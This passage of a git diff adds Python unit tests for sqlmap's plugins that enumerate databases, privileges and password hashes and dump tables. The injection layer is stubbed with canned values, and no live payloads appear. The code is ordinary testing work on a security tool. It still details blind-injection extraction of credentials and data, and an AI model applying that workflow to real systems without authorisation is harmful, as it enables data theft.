self._inference() + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + conf.col = "id,name" + + def boom(*a, **k): + raise AssertionError("dumpMode+colList must not query in inference branch") + + dbmod.inject.getValue = boom + result = d.getColumns(dumpMode=True) + cols = result["testdb"]["users"] + # "name" is a reserved word -> safeSQLIdentificatorNaming backtick-quotes it; + # both columns must be present (count, since exact key varies by quoting). + self.assertEqual(len(cols), 2) + self.assertIn("id", cols) + self.assertIsNone(cols.get("id")) + + def test_get_count_over_cached_tables_inference(self): + # getCount with no conf.tbl: it calls getTables() then per-table _tableGetCount. + # Drive the inband table fetch + per-table count and assert the + # {db:{count:[tables]}} grouping (tables sharing a count are grouped). + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = None + kb.data.cachedTables = {"testdb": ["users", "posts"]} + + counts = {"users": "5", "posts": "5"} + + def gv(query, *a, **k): + for t, c in counts.items(): + if t in query: + return c + return "0" + + dbmod.inject.getValue = gv + result = d.getCount() + # both tables have count 5 -> grouped under the same key + self.assertEqual(sorted(result["testdb"][5]), ["posts", "users"]) + + def test_get_statements_count_zero_returns_empty(self): + # Inference path: a zero count short-circuits to the (empty) cache. + set_dbms("PostgreSQL") + self._inference() + d = self._fresh() + # getStatements compares the count with the int literal 0 (count == 0), so + # the count stub must return an int 0 (not "0") to take the empty branch. + dbmod.inject.getValue = lambda query, *a, **k: 0 if k.get("expected") == EXPECTED.INT else self.fail("must not fetch rows when count is 0") + result = d.getStatements() + self.assertEqual(result, []) + + def test_get_procedures_inference(self): + set_dbms("PostgreSQL") + self._inference() + d = self._fresh() + dbmod.inject.getValue = _inference_gv(2, ["sp_a", "sp_b"]) + result = d.getProcedures() + self.assertEqual(sorted(result), ["sp_a", "sp_b"]) + + def test_get_dbs_mssql_inband_paging(self): + # MSSQL with no rows from the primary query falls into the query2 paging + # loop (one indexed query per db until a blank value stops it). + set_dbms("Microsoft SQL Server") + conf.direct = True + d = self._fresh() + dbs = ["master", "model"] + + def gv(query, *a, **k): + # The primary inband query is 'SELECT name FROM master..sysdatabases' + # (no DB_NAME); make it return nothing so getDbs falls into the + # 'SELECT DB_NAME()' paging loop (query2). + if "DB_NAME" not in query: + return None + import re as _re + idx = int(_re.findall(r"DB_NAME\((\d+)\)", query)[0]) + return dbs[idx] if idx < len(dbs) else "" + + dbmod.inject.getValue = gv + result = d.getDbs() + self.assertEqual(sorted(result), ["master", "model"]) + + def test_get_tables_inference_grouped_per_db(self): + # Blind table enumeration: count for the db, then one table name per index. + set_dbms("MySQL") + self._inference() + d = self._fresh() + conf.db = "shop" + conf.tbl = None + dbmod.inject.getValue = _inference_gv(2, ["orders", "items"]) + result = d.getTables() + self.assertIn("shop", result) + self.assertEqual(sorted(result["shop"]), ["items", "orders"]) + + +class TestDatabasesBruteForce(_DbBase): + def test_get_columns_mysql_lt5_bruteforce_decline(self): + # MySQL < 5 (no information_schema) forces bruteForce in getColumns; with + # the common-column-existence prompt answered 'N' it returns None without + # issuing any column query. + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + kb.data.has_information_schema = False + kb.choices.columnExists = None + dbmod.readInput = lambda *a, **k: "N" + + def boom(*a, **k): + raise AssertionError("bruteForce decline must not query columns") + + dbmod.inject.getValue = boom + result = d.getColumns() + self.assertIsNone(result) + + def test_get_columns_bruteforce_dumpmode_collist_on_decline(self): + # bruteForce + decline + dumpMode + colList: the columns from colList are + # stored with None type (the dump-mode salvage branch), not dropped. + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + conf.col = "a,b" + kb.data.has_information_schema = False + kb.choices.columnExists = None + dbmod.readInput = lambda *a, **k: "N" + dbmod.inject.getValue = lambda *a, **k: None + result = d.getColumns(dumpMode=True) + cols = result["testdb"]["users"] + self.assertEqual(sorted(cols.keys()), ["a", "b"]) + self.assertIsNone(cols.get("a")) + + +# --------------------------------------------------------------------------- # +# users.py +# --------------------------------------------------------------------------- # + +class _UsersBase(unittest.TestCase): + def setUp(self): + self._direct = conf.direct + self._technique = conf.technique + self._user = conf.user + self._gv = umod.inject.getValue + self._cbe = umod.inject.checkBooleanExpression + self._store = umod.storeHashesToFile + self._attack = umod.attackCachedUsersPasswords + self._readInput = umod.readInput + self._his = kb.data.get("has_information_schema") + self._injection_data = kb.injection.data + + set_dbms("MySQL") + conf.direct = True + conf.user = None + kb.data.has_information_schema = True + + umod.storeHashesToFile = lambda *a, **k: None + umod.attackCachedUsersPasswords = lambda *a, **k: None + umod.readInput = lambda *a, **k: "N" + + def tearDown(self): + conf.direct = self._direct + conf.technique = self._technique + conf.user = self._user + umod.inject.getValue = self._gv + umod.inject.checkBooleanExpression = self._cbe + umod.storeHashesToFile = self._store + umod.attackCachedUsersPasswords = self._attack + umod.readInput = self._readInput + kb.injection.data = self._injection_data + if self._his is None: + kb.data.pop("has_information_schema", None) + else: + kb.data.has_information_schema = self._his + + def _inference(self): + conf.direct = False + conf.technique = None + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + +class TestUsersPrivilegesInband(_UsersBase): + def test_privileges_pgsql_multiple_digit_columns(self): + # PostgreSQL: privilege columns are digit flags; a column index maps to + # PGSQL_PRIVS only when its value is "1". Set createdb(1)=1 and super(2)=1, + # leave the rest 0; assert exactly those two privileges are parsed and that + # "super" makes the user an admin. + set_dbms("PostgreSQL") + from lib.core.dicts import PGSQL_PRIVS + ncols = max(PGSQL_PRIVS.keys()) + row = ["pguser"] + ["0"] * ncols + row[1] = "1" # createdb + row[2] = "1" # super + umod.inject.getValue = lambda query, *a, **k: [row] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertEqual(set(privileges["pguser"]), {PGSQL_PRIVS[1], PGSQL_PRIVS[2]}) + self.assertIn("pguser", areAdmins) + + def test_privileges_mysql_lt5_yn_flags(self): + # MySQL < 5 (no information_schema): privilege columns are 'Y'/'N' flags + # mapped to MYSQL_PRIVS by column position. Y in col 1 -> select_priv. + set_dbms("MySQL") + from lib.core.dicts import MYSQL_PRIVS + kb.data.has_information_schema = False + ncols = max(MYSQL_PRIVS.keys()) + row = ["root"] + ["N"] * ncols + row[1] = "Y" # select_priv + row[3] = "Y" # update_priv + umod.inject.getValue = lambda query, *a, **k: [row] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertIn(MYSQL_PRIVS[1], privileges["root"]) + self.assertIn(MYSQL_PRIVS[3], privileges["root"]) + self.assertNotIn(MYSQL_PRIVS[2], privileges["root"]) + + def test_privileges_firebird_letter_codes(self): + # Firebird: each privilege is a single letter mapped via FIREBIRD_PRIVS. + set_dbms("Firebird") + from lib.core.dicts import FIREBIRD_PRIVS + umod.inject.getValue = lambda query, *a, **k: [["fbuser", "S"], ["fbuser", "I"]] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertEqual(set(privileges["fbuser"]), + {FIREBIRD_PRIVS["S"], FIREBIRD_PRIVS["I"]}) + + def test_privileges_db2_grant_codes(self): + # DB2: privilege string is ","; each 'Y'/'G' letter at + # position i appends the DB2_PRIVS[i] name to the privilege. + set_dbms("DB2") + from lib.core.dicts import DB2_PRIVS + conf.user = "db2admin" + # "DBADM" plus a grant string whose first letter (position 1) is 'Y' -> + # DB2_PRIVS[1] ("CONTROLAUTH") is appended. + umod.inject.getValue = lambda query, *a, **k: [["DB2ADMIN", "DBADM,Y"]] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + joined = " ".join(privileges["DB2ADMIN"]) + self.assertIn("DBADM", joined) + self.assertIn(DB2_PRIVS[1], joined) + + +class TestUsersPrivilegesInference(_UsersBase): + def test_privileges_inference_mysql(self): + # Blind privilege enumeration for a named user: count, then one privilege + # string per index. MySQL >= 5 adds each verbatim. + set_dbms("MySQL") + self._inference() + conf.user = "root" + privs = ["SELECT", "SUPER"] + umod.inject.getValue = _inference_gv(2, privs) + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + # the user key is wildcard-wrapped for the MySQL information_schema LIKE + key = [k for k in privileges if "root" in k][0] + self.assertEqual(set(privileges[key]), {"SELECT", "SUPER"}) + self.assertTrue(areAdmins) # SUPER => admin + + def test_privileges_inference_oracle(self): + set_dbms("Oracle") + self._inference() + conf.user = "system" + umod.inject.getValue = _inference_gv(1, ["DBA"]) + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertIn("SYSTEM", privileges) + self.assertEqual(privileges["SYSTEM"], ["DBA"]) + self.assertIn("SYSTEM", areAdmins) + + +class TestUsersPasswordHashesInference(_UsersBase): + def test_password_hashes_inference_grouping(self): + # Blind password-hash enumeration for two users: per-user count, then one + # hash per index. Assert each user maps to its own hash list. + set_dbms("MySQL") + self._inference() + conf.user = "root,guest" + + # per-user single hash; count is 1 for every user + hashes = {"root": "*ROOTHASH", "guest": "*GUESTHASH"} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return "1" + for u, h in hashes.items(): + if u in query: + return [h] + return [None] + + umod.inject.getValue = gv + users = Users() + kb.data.cachedUsersPasswords = {} + res = users.getPasswordHashes() + self.assertEqual(res["root"], ["*ROOTHASH"]) + self.assertEqual(res["guest"], ["*GUESTHASH"]) + + def test_password_hashes_inference_dedup(self): + # The same hash returned twice for a user must be de-duplicated at the end + # (kb.data.cachedUsersPasswords[user] = list(set(...))). + set_dbms("MySQL") + self._inference() + conf.user = "root" + umod.inject.getValue = _inference_gv(2, ["*DUP", "*DUP"]) + users = Users() + kb.data.cachedUsersPasswords = {} + res = users.getPasswordHashes() + self.assertEqual(res["root"], ["*DUP"]) + + +class TestUsersGetUsersInference(_UsersBase): + def test_get_users_inference(self): + set_dbms("MySQL") + self._inference() + umod.inject.getValue = _inference_gv(2, ["root@localhost", "guest@%"]) + users = Users() + kb.data.cachedUsers = [] + res = users.getUsers() + self.assertEqual(sorted(res), ["guest@%", "root@localhost"]) + + def test_is_dba_mssql(self): + # MSSQL isDba goes through the generic checkBooleanExpression branch. + set_dbms("Microsoft SQL Server") + umod.inject.checkBooleanExpression = lambda query, *a, **k: True + users = Users() + kb.data.isDba = None + self.assertTrue(users.isDba()) + + +# --------------------------------------------------------------------------- # +# entries.py - inference (blind) dump path +# --------------------------------------------------------------------------- # + +class _RecordingDumper(object): + def __init__(self): + self.tableValues = [] + + def dbTableValues(self, tableValues): + self.tableValues.append(tableValues) + + +class _TestEntries(Entries): + def __init__(self): + Entries.__init__(self) + self.getColumnsResult = {} + self.getTablesResult = {} + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + kb.data.cachedColumns = dict(self.getColumnsResult) + + def getTables(self, bruteForce=None): + kb.data.cachedTables = dict(self.getTablesResult) + + +class _EntriesBase(unittest.TestCase): + _CONF_KEYS = ("db", "tbl", "col", "direct", "technique", "exclude", "search", + "disableHashing", "noKeyset", "keyset", "forcePivoting", "dumpWhere") + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_dumper = conf.get("dumper") + self._gv = emod.inject.getValue + self._cbe = emod.inject.checkBooleanExpression + self._readInput = emod.readInput + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_cachedColumns = kb.data.get("cachedColumns") + self._saved_cachedTables = kb.data.get("cachedTables") + self._saved_dumpedTable = kb.data.get("dumpedTable") + self._saved_dumpKbInt = kb.get("dumpKeyboardInterrupt") + self._saved_permissionFlag = kb.get("permissionFlag") + self._saved_injection_data = kb.injection.data + + set_dbms("MySQL") + conf.direct = False + conf.technique = None + conf.exclude = None + conf.search = False + conf.disableHashing = True + conf.noKeyset = True + conf.keyset = False + conf.forcePivoting = False + conf.dumpWhere = None + conf.dumper = _RecordingDumper() + + kb.data.has_information_schema = True + kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.dumpedTable = {} + kb.dumpKeyboardInterrupt = False + kb.permissionFlag = False + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + emod.readInput = lambda *a, **k: (k.get("default") if k.get("default") is not None else (a[1] if len(a) > 1 else None)) + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + emod.inject.getValue = self._gv + emod.inject.checkBooleanExpression = self._cbe + emod.readInput = self._readInput + kb.data.has_information_schema = self._saved_has_is + kb.data.cachedColumns = self._saved_cachedColumns + kb.data.cachedTables = self._saved_cachedTables + kb.data.dumpedTable = self._saved_dumpedTable + kb.dumpKeyboardInterrupt = self._saved_dumpKbInt + kb.permissionFlag = self._saved_permissionFlag + kb.injection.data = self._saved_injection_data + + +class TestEntriesInference(_EntriesBase): + def _entries(self, db="testdb", tbl="users", cols=("id", "name")): + e = _TestEntries() + e.getColumnsResult = {db: {tbl: {c: "varchar" for c in cols}}} + return e + + def test_dump_table_inference_column_pivot(self): + # Blind dump (conf.direct=False, BOOLEAN available): a row count, then one + # value per (index, column). Assert the per-column pivoted values match. + set_dbms("MySQL") + e = self._entries(cols=("id", "name")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + + # data[index][column] -> value. 2 rows, columns id/name. + data = {0: {"id": "1", "name": "alice"}, 1: {"id": "2", "name": "bob"}} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return "2" # row count + # MySQL blind cell query: 'SELECT FROM testdb.users ORDER BY ... + # LIMIT ,1'. The row index is the LIMIT offset; the column is the + # SELECT projection. + import re as _re + idx = int(_re.search(r"LIMIT\s+(\d+)\s*,\s*1", query).group(1)) + proj = query.split(" FROM ", 1)[0] + col = "name" if "name" in proj else "id" + return data[idx][col] + + emod.inject.getValue = gv + e.dumpTable() + dumped = conf.dumper.tableValues[-1] + self.assertEqual(dumped["__infos__"]["count"], 2) + self.assertEqual(list(dumped["id"]["values"]), ["1", "2"]) + self.assertEqual(list(dumped["name"]["values"]), ["alice", "bob"]) + + def test_dump_table_inference_empty_table(self): + # A zero row count in the inference path yields empty per-column value + # lists and no dbTableValues emission (dumpedTable stays effectively empty). + set_dbms("MySQL") + e = self._entries(cols=("id",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + + emod.inject.getValue = lambda query, *a, **k: ("0" if k.get("expected") == EXPECTED.INT else self.fail("must not fetch cells for empty table")) + e.dumpTable() + # count 0 => empty entries => nothing dumped + self.assertEqual(conf.dumper.tableValues, []) + + def test_dump_table_inference_count_failure_skips(self): + # A non-numeric count in the inference path => the table is skipped with a + # warning, no values dumped. + set_dbms("MySQL") + e = self._entries(cols=("id",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return None # count failed + self.fail("must not fetch cells when count failed") + + emod.inject.getValue = gv + e.dumpTable() + self.assertEqual(conf.dumper.tableValues, []) + + +# --------------------------------------------------------------------------- # +# search.py - inference (blind) paths +# --------------------------------------------------------------------------- # + +class _TestSearch(Search): + excludeDbsList = ["information_schema", "mysql"] + + def __init__(self): + Search.__init__(self) + self.like = ('2', "='%s'") # exact match (colConsider '2') + self.dumpFoundTablesCalls = [] + self.dumpFoundColumnCalls = [] + + def likeOrExact(self, what): + return self.like + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def dumpFoundTables(self, tables): + self.dumpFoundTablesCalls.append(tables) + + def dumpFoundColumn(self, dbs, foundCols, colConsider): + self.dumpFoundColumnCalls.append((dbs, foundCols, colConsider)) + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + db, tbl, col = conf.db, conf.tbl, conf.col + if db and tbl: + kb.data.cachedColumns.setdefault(db, {}).setdefault(tbl, {}) + kb.data.cachedColumns[db][tbl][col] = "varchar" + + +class _RecDumper(object): + def __init__(self): + self.listed = [] + self.dbTablesArg = None + self.dbColumnsArg = None + + def lister(self, header, elements, content_type=None, sort=True): + self.listed.append((header, list(elements) if elements else [])) + + def dbTables(self, dbTables): + self.dbTablesArg = dbTables + + def dbColumns(self, dbColumnsDict, colConsider, dbs): + self.dbColumnsArg = (dbColumnsDict, colConsider, dbs) + + +class _SearchBase(unittest.TestCase): + _CONF_KEYS = ("db", "tbl", "col", "direct", "technique", "excludeSysDbs", + "exclude", "search") + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_dumper = conf.get("dumper") + self._gv = smod.inject.getValue + self._readInput = smod.readInput + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_cachedColumns = kb.data.get("cachedColumns") + self._saved_hintValue = kb.get("hintValue") + self._saved_injection_data = kb.injection.data + + set_dbms("MySQL") + conf.direct = False + conf.technique = None + conf.excludeSysDbs = False + conf.exclude = None + conf.search = True + conf.dumper = _RecDumper() + + kb.data.has_information_schema = True + kb.data.cachedColumns = {} + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + smod.inject.getValue = self._gv + smod.readInput = self._readInput + kb.data.has_information_schema = self._saved_has_is + kb.data.cachedColumns = self._saved_cachedColumns + kb.hintValue = self._saved_hintValue + kb.injection.data = self._saved_injection_data + + +class TestSearchInference(_SearchBase): + def test_search_db_inference(self): + # Blind searchDb: count of matching dbs, then one db name per index. + s = _TestSearch() + conf.db = "testdb" + smod.inject.getValue = _inference_gv(2, ["testdb", "testdb2"]) + s.searchDb() + self.assertEqual(conf.dumper.listed[-1][0], "found databases") + self.assertEqual(sorted(conf.dumper.listed[-1][1]), ["testdb", "testdb2"]) + + def test_search_db_inference_no_match(self): + # Count fails (non-numeric) => no databases appended, empty listing. + s = _TestSearch() + conf.db = "ghost" + smod.inject.getValue = lambda query, *a, **k: (None if k.get("expected") == EXPECTED.INT else self.fail("must not page when count fails")) + s.searchDb() + self.assertEqual(conf.dumper.listed[-1][1], []) + + def test_search_table_inference_grouped(self): + # Blind searchTable, no conf.db: outer count of dbs holding the table, then + # per-db a name, then per-db a count of matching tables, then table names. + s = _TestSearch() + conf.tbl = "users" + conf.db = None + + # Sequencing by the EXPECTED.INT counts + the per-index string results. + # 1st count: number of databases with the table -> 1 + # 1st db name -> "testdb" + # 2nd count: number of tables in testdb -> 1 + # table name -> "users" + seq = {"counts": ["1", "1"], "ci": 0, "vals": ["testdb", "users"], "vi": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + v = seq["counts"][seq["ci"] % len(seq["counts"])] + seq["ci"] += 1 + return v + v = seq["vals"][seq["vi"] % len(seq["vals"])] + seq["vi"] += 1 + return [v] + + smod.inject.getValue = gv + s.searchTable() + self.assertEqual(conf.dumper.dbTablesArg, {"testdb": ["users"]}) + self.assertEqual(s.dumpFoundTablesCalls[-1], {"testdb": ["users"]}) + + def test_search_table_mysql_lt5_bruteforce_decline(self): + # MySQL < 5 forces the bruteforce path; declining the prompt returns None + # without any injection. + s = _TestSearch() + conf.tbl = "users" + conf.db = None + kb.data.has_information_schema = False + smod.readInput = lambda *a, **k: "N" + smod.inject.getValue = lambda *a, **k: self.fail("bruteforce decline must not query") + self.assertIsNone(s.searchTable()) + + def test_search_column_inference(self): + # Blind searchColumn, no db/tbl: count of dbs with the column, then db name; + # then per-db count of tables with the column, then table name -> getColumns + # folds the column into dbs. + s = _TestSearch() + conf.col = "password" + conf.db = None + conf.tbl = None + + seq = {"counts": ["1", "1"], "ci": 0, "vals": ["testdb", "users"], "vi": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + v = seq["counts"][seq["ci"] % len(seq["counts"])] + seq["ci"] += 1 + return v + v = seq["vals"][seq["vi"] % len(seq["vals"])] + seq["vi"] += 1 + return [v] + + smod.inject.getValue = gv + s.searchColumn() + dbs = conf.dumper.dbColumnsArg[2] + self.assertIn("testdb", dbs) + self.assertIn("users", dbs["testdb"]) + self.assertIn("password", dbs["testdb"]["users"]) + + def test_search_column_mysql_lt5_bruteforce_decline(self): + s = _TestSearch() + conf.col = "password" + conf.db = None + conf.tbl = None + kb.data.has_information_schema = False + smod.readInput = lambda *a, **k: "N" + smod.inject.getValue = lambda *a, **k: self.fail("bruteforce decline must not query") + # Declining returns None and never reaches dbColumns. + self.assertIsNone(s.searchColumn()) + self.assertIsNone(conf.dumper.dbColumnsArg) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_generic_more.py b/tests/test_generic_more.py new file mode 100644 index 00000000000..00bcd0c8da1 --- /dev/null +++ b/tests/test_generic_more.py @@ -0,0 +1,873 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Additional unit tests for the generic plugin mixins, driving branches NOT already +covered by tests/test_search_enum.py / tests/test_databases_enum.py: + + * plugins/generic/entries.py - dumpTable column/table --exclude filtering, the + --where (conf.dumpWhere) query rewrite, disableHashing toggle, METADB suffix + db handling, the "no usable columns" / "missing columns" skip branches, and + dumpAll over multiple dbs/tables (dict and list shapes) plus dumpFoundTables / + dumpFoundColumn interactive flows. + * plugins/generic/custom.py - sqlQuery SELECT/non-query/stacked branches, the + MSSQL FROM rewrite, METADB suffix stripping, SqlmapNoneDataException handling, + and sqlFile. + * plugins/generic/misc.py - getRemoteTempPath (posix / windows-direct / MSSQL + ErrorLog), getVersionFromBanner, delRemoteFile, createSupportTbl, likeOrExact. + * plugins/generic/takeover.py - the PURE helpers only: Takeover.__init__ table + naming and the regRead/regAdd/regDel/osBof/osSmb control flow with the process/ + network collaborators stubbed out (no metasploit/icmpsh/UDF spawning). + +The injection layer (lib.request.inject.{getValue,goStacked}) is patched per +module, conf.direct=True selects the simple inband branches, conf.batch=True keeps +prompts non-interactive, and conf.dumper is a recording stub. Every test restores +all touched conf.* / kb.* / patched module attributes in tearDown so nothing leaks. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms + +bootstrap() + +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.enums import DBMS, OS +from lib.core.settings import NULL + +import plugins.generic.entries as emod +import plugins.generic.custom as cmod +import plugins.generic.misc as mmod +import plugins.generic.takeover as tmod +from plugins.generic.entries import Entries +from plugins.generic.custom import Custom +from plugins.generic.misc import Miscellaneous + + +class _RecordingDumper(object): + """Recording stand-in for conf.dumper (no printing / file writing).""" + + def __init__(self): + self.tableValues = [] + self.sqlQueries = [] + + def dbTableValues(self, tableValues): + self.tableValues.append(tableValues) + + def sqlQuery(self, query, queryRes): + self.sqlQueries.append((query, queryRes)) + + +# --------------------------------------------------------------------------- # +# entries.py +# --------------------------------------------------------------------------- # + +class _TestEntries(Entries): + """Entries with cross-mixin collaborators stubbed. + + forceDbmsEnum / getCurrentDb / getColumns / getTables are normally supplied by + sibling mixins; we emulate column/table discovery by populating kb.data.cached* + from canned attributes, exactly as the production plugins do. + """ + + def __init__(self): + Entries.__init__(self) + self.getColumnsResult = {} # assigned to kb.data.cachedColumns + self.getTablesResult = {} # assigned to kb.data.cachedTables + self.getColumnsCalls = [] + self.getTablesCalls = 0 + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + self.getColumnsCalls.append((conf.db, conf.tbl)) + kb.data.cachedColumns = dict(self.getColumnsResult) + + def getTables(self, bruteForce=None): + self.getTablesCalls += 1 + kb.data.cachedTables = dict(self.getTablesResult) + + +class _GenericBase(unittest.TestCase): + """Snapshot/restore for everything the generic mixins touch.""" + + _CONF_KEYS = ( + "db", "tbl", "col", "direct", "batch", "exclude", "search", + "disableHashing", "noKeyset", "keyset", "forcePivoting", "dumpWhere", + "tmpPath", "sqlQuery", "sqlFile", "regKey", "regVal", "regData", + "regType", "osPwn", "osShell", "cleanup", "privEsc", + ) + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_dumper = conf.get("dumper") + + self._saved_getValue = { + emod: emod.inject.getValue, + cmod: cmod.inject.getValue, + mmod: mmod.inject.getValue, + } + self._saved_goStacked = { + cmod: cmod.inject.goStacked, + mmod: mmod.inject.goStacked, + } + self._saved_emod_readInput = emod.readInput + self._saved_mmod_readInput = mmod.readInput + + self._saved_kb = { + "cachedColumns": kb.data.get("cachedColumns"), + "cachedTables": kb.data.get("cachedTables"), + "dumpedTable": kb.data.get("dumpedTable"), + "has_information_schema": kb.data.get("has_information_schema"), + "dumpKeyboardInterrupt": kb.get("dumpKeyboardInterrupt"), + "permissionFlag": kb.get("permissionFlag"), + "hintValue": kb.get("hintValue"), + "injection_data": kb.injection.data, + "bannerFp": kb.get("bannerFp"), + "os": kb.get("os"), + } + self._saved_forceDbms = kb.get("forcedDbms") + + conf.direct = True + conf.batch = True + conf.exclude = None + conf.search = False + conf.disableHashing = True + conf.noKeyset = True + conf.keyset = False + conf.forcePivoting = False + conf.dumpWhere = None + conf.dumper = _RecordingDumper() + + kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.dumpedTable = {} + kb.data.has_information_schema = True + kb.dumpKeyboardInterrupt = False + kb.permissionFlag = False + + def _readInput(message, default=None, checkBatch=True, boolean=False): + if boolean: + return default in (None, 'Y', 'y', True) + return default + + emod.readInput = _readInput + mmod.readInput = _readInput + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + + for mod, fn in self._saved_getValue.items(): + mod.inject.getValue = fn + for mod, fn in self._saved_goStacked.items(): + mod.inject.goStacked = fn + emod.readInput = self._saved_emod_readInput + mmod.readInput = self._saved_mmod_readInput + + kb.data.cachedColumns = self._saved_kb["cachedColumns"] + kb.data.cachedTables = self._saved_kb["cachedTables"] + kb.data.dumpedTable = self._saved_kb["dumpedTable"] + kb.data.has_information_schema = self._saved_kb["has_information_schema"] + kb.dumpKeyboardInterrupt = self._saved_kb["dumpKeyboardInterrupt"] + kb.permissionFlag = self._saved_kb["permissionFlag"] + kb.hintValue = self._saved_kb["hintValue"] + kb.injection.data = self._saved_kb["injection_data"] + kb.bannerFp = self._saved_kb["bannerFp"] + kb.os = self._saved_kb["os"] + kb.forcedDbms = self._saved_forceDbms + + @staticmethod + def _force_os(os_name): + # Backend.setOs only assigns when kb.os is currently None; reset first so + # tests can deterministically pin the back-end OS. + kb.os = None + Backend.setOs(os_name) + + +class TestEntriesDumpTable(_GenericBase): + def _entries(self, db="testdb", tbl="users", cols=("id", "name")): + e = _TestEntries() + e.getColumnsResult = {db: {tbl: {c: "varchar" for c in cols}}} + return e + + def test_exclude_filters_columns(self): + set_dbms("MySQL") + e = self._entries(cols=("id", "secret")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.exclude = "secret" + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpTable() + dumped = conf.dumper.tableValues[-1] + self.assertIn("id", dumped) + self.assertNotIn("secret", dumped) + + def test_exclude_all_columns_skips(self): + set_dbms("MySQL") + e = self._entries(cols=("secret",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.exclude = "secret" + emod.inject.getValue = lambda *a, **k: self.fail("should not fetch entries") + + e.dumpTable() + # all columns excluded => "no usable column names" => nothing dumped + self.assertEqual(conf.dumper.tableValues, []) + + def test_dumpwhere_rewrites_query(self): + set_dbms("MySQL") + e = self._entries(cols=("id",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.dumpWhere = "id>5" + captured = {} + + def gv(query, *a, **k): + captured["query"] = query + return [["9"]] + + emod.inject.getValue = gv + e.dumpTable() + # agent.whereQuery folds conf.dumpWhere into the dump query + self.assertIn("id>5", captured["query"]) + self.assertEqual(list(conf.dumper.tableValues[-1]["id"]["values"]), ["9"]) + + def test_disablehashing_false_path(self): + # conf.disableHashing False => attackDumpedTable() is invoked; with no + # hashes present it must complete without raising and still emit values. + set_dbms("MySQL") + e = self._entries(cols=("id", "name")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.disableHashing = False + emod.inject.getValue = lambda *a, **k: [["1", "alice"]] + + # Spy on attackDumpedTable: with disableHashing False it MUST be invoked + # after the values are dumped. A recorder replaces it so we can assert the + # call happened (and no real dictionary attack runs). + saved_attack = emod.attackDumpedTable + calls = {"n": 0} + emod.attackDumpedTable = lambda *a, **k: calls.__setitem__("n", calls["n"] + 1) + try: + e.dumpTable() + finally: + emod.attackDumpedTable = saved_attack + + self.assertEqual(calls["n"], 1) + self.assertEqual(conf.dumper.tableValues[-1]["__infos__"]["count"], 1) + + def test_missing_columns_skips_table(self): + # getColumns yields nothing for the targeted table => skip without fetching. + set_dbms("MySQL") + e = _TestEntries() + e.getColumnsResult = {"testdb": {"other": {"id": "int"}}} + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + emod.inject.getValue = lambda *a, **k: self.fail("should not fetch entries") + + e.dumpTable() + self.assertEqual(conf.dumper.tableValues, []) + + def test_multiple_tables_one_dumped(self): + set_dbms("MySQL") + e = _TestEntries() + e.getColumnsResult = {"testdb": {"users": {"id": "int"}, "posts": {"pid": "int"}}} + conf.db = "testdb" + conf.tbl = "users,posts" + conf.col = None + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpTable() + # both tables share the same cachedColumns dict => both dumped + tables = [tv["__infos__"]["table"] for tv in 